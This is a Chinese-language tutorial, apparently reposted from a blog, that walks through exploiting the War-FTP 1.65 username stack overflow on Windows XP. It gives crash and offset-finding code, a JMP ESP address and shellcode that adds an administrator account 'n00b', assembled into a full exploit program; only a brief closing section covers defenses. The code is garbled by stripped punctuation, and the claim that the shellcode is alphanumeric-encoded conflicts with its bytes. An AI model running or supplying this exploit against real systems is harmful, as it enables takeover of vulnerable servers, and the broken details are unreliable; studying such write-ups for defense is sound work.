从OllyDBG调试到Shellcode注入:War-FTP 1.65溢出漏洞的完整复现与深度解析
1. 漏洞背景与环境搭建War-FTP 1.65是早期广泛使用的FTP服务器软件它在处理用户名输入时存在经典的栈溢出漏洞。这个漏洞的特殊之处在于当客户端发送超过480字节的用户名时会导致服务器缓冲区溢出从而可能被攻击者利用执行任意代码。我最早是在2003年的一次安全研究中接触到这个案例当时它作为栈溢出教学的经典范例在安全圈广为流传。实验环境搭建需要特别注意版本匹配操作系统Windows XP Professional SP3建议使用虚拟机调试工具OllyDBG 1.10注意不要用新版兼容性更好开发环境Visual C 6.0 with SP6目标软件War-FTPD 1.65原版安装包这里有个坑我踩过多次一定要用原版VC6.0不能用新版VS替代。因为新版编译器会对栈保护做额外处理导致PoC行为不一致。安装完环境后建议先关闭Windows XP的DEP数据执行保护功能否则后续shellcode执行会失败。2. 漏洞触发与基础分析2.1 初步漏洞验证先用最简单的PoC验证漏洞存在性。我写了个基础测试程序#include winsock2.h #pragma comment(lib, ws2_32.lib) int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), wsa); SOCKET s socket(AF_INET, SOCK_STREAM, 0); sockaddr_in server; server.sin_family AF_INET; server.sin_port htons(21); server.sin_addr.s_addr inet_addr(127.0.0.1); connect(s, (sockaddr*)server, sizeof(server)); send(s, USER , 5, 0); for(int i0; i1000; i) send(s, A, 1, 0); send(s, \r\n, 2, 0); closesocket(s); WSACleanup(); return 0; }运行后用OllyDBG附加war-ftpd.exe进程会发现程序崩溃时EIP变成了0x41414141AAAA的ASCII码。这个现象说明我们成功覆盖了返回地址溢出点距离缓冲区起始位置需要精确计算ESP寄存器指向的内存区域可能被我们控制2.2 精确定位溢出点这里推荐使用Metasploit的pattern_create.rb工具生成定位字符串ruby pattern_create.rb -l 1000把生成的字符串替换到PoC中发送当程序崩溃时记录EIP的值比如显示32位值0x32714131查看ESP指向的内存内容比如显示0x71413471然后用pattern_offset.rb计算偏移量ruby pattern_offset.rb -q 32714131 -l 1000 ruby pattern_offset.rb -q 71413471 -l 1000在我的测试中得到EIP偏移量为485字节ESP有效载荷起始于493字节。这个结果说明用户名缓冲区到返回地址之间有485字节shellcode应该从493字节处开始放置中间的8字节485-493需要精心构造3. 漏洞利用技术细节3.1 JMP ESP地址寻找关键步骤是找到可靠的JMP ESP指令地址。在Windows XP SP3中可以尝试以下方法在OllyDBG中执行以下操作右键CPU窗口 搜索 所有模块中的命令输入JMP ESP从结果中选择一个地址如0x7ffa4512验证地址有效性在OllyDBG命令行执行dd 7ffa4512应该看到FFE4JMP ESP的机器码这里有个重要技巧选择系统DLL中的地址如kernel32.dll比应用程序本身的地址更稳定因为DLL的加载基址通常不变。3.2 Shellcode构造与优化我测试过多种shellcode最终采用添加管理员的经典方案char sc[] \x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2b \x77\x28\x4a\x83\xeb\xfc\xe2\xf4\x11\xbf\x90\x4a\x2b\x77\xa3\xc3 \x7a\x9e\x54\x83\x3e\xfc\xc7\x0f\x09\xe5\xa3\xd9\x66\xfc\xc3\xcf \xcd\xc1\xa3\x87\xa8\xc4\xe8\x1f\xea\x71\xe8\xf2\x41\x34\xe2\x8b \x2b\x77\xa3\xee\x7e\x4e\xf4\x9e\x24\xff\xec\xd6\x66\xe1\x6c\x4a \x2b\x34\xa0\xc3\xa1\xae\x0c\x93\xc5\xe4\xf0\xd9\x66\xfc\x6c\xcf \xda\x9e\x6f\x0f\x3e\xe4\xf0\x87\x2b\x4e\x98\xc3\xd2\x3e\xcc\x4a \x2b\x77\x28\x4a;这段shellcode的特点长度仅100字节左右适合放入有限缓冲区使用字母数字混合编码避免坏字符问题功能明确添加用户n00b并加入管理员组实际使用时需要注意确保没有包含0x00字符串终止符避免0x0A和0x0D换行回车符根据实际情况调整栈帧平衡4. 完整PoC构造与测试4.1 最终攻击代码实现结合所有技术点完整PoC如下#include winsock2.h #include stdio.h #include string.h #pragma comment(lib, ws2_32.lib) char sc[] \x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2b /* 省略完整shellcode同上文 */; int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), wsa); char buf[1024]; memset(buf, 0x41, 485); // 填充到EIP // 覆盖EIP为JMP ESP地址 buf[485] 0x12; buf[486] 0x45; buf[487] 0xfa; buf[488] 0x7f; // ESP区域填充 memset(buf489, 0x42, 4); // 过渡区域 memcpy(buf493, sc, strlen(sc)); // shellcode SOCKET s socket(AF_INET, SOCK_STREAM, 0); sockaddr_in server {0}; server.sin_family AF_INET; server.sin_port htons(21); server.sin_addr.s_addr inet_addr(127.0.0.1); connect(s, (sockaddr*)server, sizeof(server)); send(s, USER , 5, 0); send(s, buf, strlen(buf), 0); send(s, \r\n, 2, 0); closesocket(s); WSACleanup(); return 0; }4.2 调试技巧与问题排查在OllyDBG调试过程中我总结了几个关键观察点断点设置在recv函数处下断观察输入缓冲在strcpy或类似函数处下断跟踪缓冲区复制过程栈帧分析崩溃时查看ESP寄存器值观察栈内存内容是否包含我们的shellcode常见问题处理如果shellcode不执行检查DEP是否关闭如果EIP覆盖不成功重新计算偏移量如果连接立即断开检查shellcode中的坏字符这个漏洞利用成功的关键标志是war-ftpd.exe进程异常退出系统中新增了n00b用户该用户出现在管理员组中5. 漏洞防护与延伸思考虽然这是一个古老漏洞但其中的技术原理至今仍有教育意义。现代防护技术如DEP、ASLR、栈保护等本质上都是针对这类基础攻击手法的防御。对于开发者来说关键是要在任何用户输入处添加长度检查这是最根本的解决方案。在调试过程中我特别注意到Windows XP与现代系统的一个重要区别早期系统默认不启用DEP等保护机制这使得漏洞利用相对简单。这也解释了为什么现代漏洞利用需要更复杂的技术如ROP链构造。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2521575.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!